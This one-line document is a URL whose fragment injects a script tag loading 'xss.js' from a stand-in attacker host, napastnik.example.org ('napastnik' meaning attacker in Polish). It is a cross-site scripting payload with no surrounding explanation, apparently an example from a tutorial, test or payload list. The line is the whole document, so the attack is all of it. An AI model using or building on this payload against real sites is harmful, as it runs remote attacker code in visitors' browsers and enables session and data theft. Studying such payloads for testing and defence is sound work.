﻿http://www.example.com/display#<script src='http://napastnik.example.org/xss.js'></script>